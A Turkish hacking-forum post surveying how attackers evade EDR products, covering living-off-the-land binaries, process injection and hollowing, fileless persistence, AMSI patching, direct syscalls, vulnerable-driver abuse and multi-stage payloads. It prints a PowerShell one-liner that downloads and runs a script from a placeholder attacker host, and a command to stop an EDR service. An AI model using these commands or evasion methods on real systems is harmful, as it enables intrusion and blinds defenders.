Stronger_Cracker
- 25 Tem 2022
- 6,408 Mesaj
Aktiflik
Seviye
Deneyim
Selamunaleyküm,
Endpoint Detection and Response (EDR) modern kurumsal ağların en kritik savunma katmanlarından biridir. Geleneksel antivirüs çözümlerinden farklı olarak EDR sistemleri yalnızca imza tabanlı tespit yapmaz, aynı zamanda davranış analizi, süreç ilişkileri, bellek aktiviteleri ve ağ iletişimlerini sürekli izleyerek tehditleri tespit etmeye çalışır.
Ancak gelişmiş tehdit aktörleri, özellikle APT grupları ve profesyonel saldırı ekipleri, bu sistemleri atlatabilmek için çeşitli TTP (Tactics, Techniques and Procedures) geliştirmiştir. Konumuzda modern saldırganların EDR çözümlerini atlatmak için kullandığı teknik yaklaşımlar ve bunların teknik altyapısı anlatmaya çalışacağım.
Living off the Land (LotL) Stratejisi
Modern saldırıların önemli bir kısmı artık klasik zararlı yazılımlar yerine sistemde zaten bulunan araçları kullanarak gerçekleştirilmektedir. Bu yaklaşım Living off the Land olarak adlandırılır.Bu yöntemde saldırganlar sistemde zaten bulunan güvenilir araçları kullanarak zararlı aktiviteler gerçekleştirir. Böylece EDR sistemleri tarafından şüpheli bir binary çalıştırıldığı tespit edilmez.
Yaygın kullanılan araçlar:
PowerShell
Windows Management Instrumentation (WMI)
certutil
mshta
rundll32
regsvr32
Bu araçların büyük kısmı LOLBins (Living Off The Land Binaries) olarak sınıflandırılmaktadır.
Örneğin PowerShell kullanılarak uzaktan bir payload indirilebilir:
Kod:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
Bu komut zararlı bir dosya indirse bile sistemde yeni bir executable oluşmadığı için bazı EDR sistemleri tarafından doğrudan zararlı olarak sınıflandırılmayabilir.
Process Injection Teknikleri
EDR çözümleri genellikle yeni başlatılan süreçleri ve bu süreçlerin davranışlarını izler. Bu nedenle saldırganlar zararlı kodu yeni bir süreç başlatmak yerine meşru bir sürecin içine enjekte ederek çalıştırmayı tercih eder.Process injection teknikleri arasında en yaygın olanlar şunlardır:
DLL Injection
Zararlı DLL dosyası çalışan bir sürece yüklenir.Genellikle kullanılan API çağrıları:
OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
Bu yöntemle zararlı kod örneğin explorer.exe içerisinde çalışabilir.
Process Hollowing
Bu yöntemde yeni bir süreç başlatılır ancak orijinal kodu bellekte silinerek yerine zararlı kod yazılır.Saldırı akışı genellikle şu şekildedir:
Suspended modda bir süreç başlatılır
Orijinal executable memory'den kaldırılır
Zararlı payload belleğe yazılır
Thread resume edilir
Bu teknik özellikle malware loader'lar tarafından yoğun şekilde kullanılmaktadır.
Reflective DLL Loading
Bu yöntemde DLL dosyası disk üzerinde bulunmaz. Bunun yerine doğrudan bellek içinde yüklenir. Bu sayede disk artefact oluşmaz vestatik analiz zorlaşırFileless Malware Yaklaşımı
Modern saldırıların önemli bir kısmı artık dosyasız zararlı yazılım (fileless malware) kategorisine girmektedir.Bu saldırılarda payload; RAM içerisinde çalışır, disk üzerinde kalıcı dosya bırakmaz
Fileless saldırılarda kullanılan yaygın teknikler şunlardır:
Registry Persistence
Payload registry içinde saklanabilir.Örnek:
Kod:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
WMI Event Subscription
WMI kullanılarak kalıcılık sağlanabilir.Örnek mekanizma:
Event filter oluşturulur
Command consumer tanımlanır
Belirli bir event tetiklendiğinde payload çalıştırılır
Bu yöntem özellikle APT saldırılarında yaygındır.
AMSI Bypass Teknikleri
Windows ortamında PowerShell scriptleri genellikle Antimalware Scan Interface (AMSI) üzerinden analiz edilir.AMSI, script içeriklerini çalıştırılmadan önce antivirüs veya EDR motoruna gönderir.
Ancak saldırganlar AMSI mekanizmasını çeşitli tekniklerle devre dışı bırakabilir.
Memory Patching
AMSI fonksiyonunun bellekteki davranışı değiştirilir.Örneğin:
Kod:
AmsiScanBuffer
fonksiyonu patch edilerek her zaman temiz sonuç döndürmesi sağlanabilir.
Obfuscation
Script içerikleri karmaşık hale getirilir.Örnek yöntemler:
string splitting
base64 encoding
XOR encoding
dynamic code generation
Bu teknikler özellikle PowerShell saldırılarında yaygın olarak kullanılmaktadır.
Direct Syscall Kullanımı
Birçok EDR çözümü Windows API çağrılarını izlemek için API hooking tekniğini kullanır.Örneğin:
Kod:
NtOpenProcess
NtWriteVirtualMemory
NtCreateThreadEx
gibi çağrılar hook edilerek izlenir. Ancak saldırganlar bu API çağrılarını tamamen atlayarak doğrudan sistem çağrısı (direct syscall) gerçekleştirebilir. Bu teknik user-mode hook'lar bypass edilmesi ve EDR davranış takibinin zorlaşması gibi avantajlar sağlar.
Bu yöntem özellikle modern malware loader'larında görülmektedir.
EDR Tamper ve Disable Teknikleri
Bazı saldırganlar doğrudan EDR agent'ını hedef almayı tercih eder.Bu teknikler genellikle yüksek ayrıcalık (privilege escalation) gerektirir.
Yaygın yaklaşımlar:
Driver Exploitation
Savunmasız kernel driver'ları kullanılarak EDR devre dışı bırakılabilir.Bu teknik BYOVD (Bring Your Own Vulnerable Driver) olarak bilinir.
Service Manipulation
EDR servisleri durdurulmaya çalışılabilir.Örnek:
Kod:
sc stop <edr_service>
Ancak modern EDR çözümleri genellikle self-protection mekanizmaları içerir.
Multi-Stage Payload Mimarisi
Modern saldırılar genellikle tek aşamalı değildir.Bunun yerine çok aşamalı payload mimarisi kullanılır.
Tipik saldırı zinciri:
Stage 1
Initial loader
Stage 2
Shellcode veya reflective loader
Stage 3
Ana malware bileşeni
Bu, payload parçalanması, network detection ve sandbox analizi zorlaşması gibi avantajlar sağlar.
Selametle..
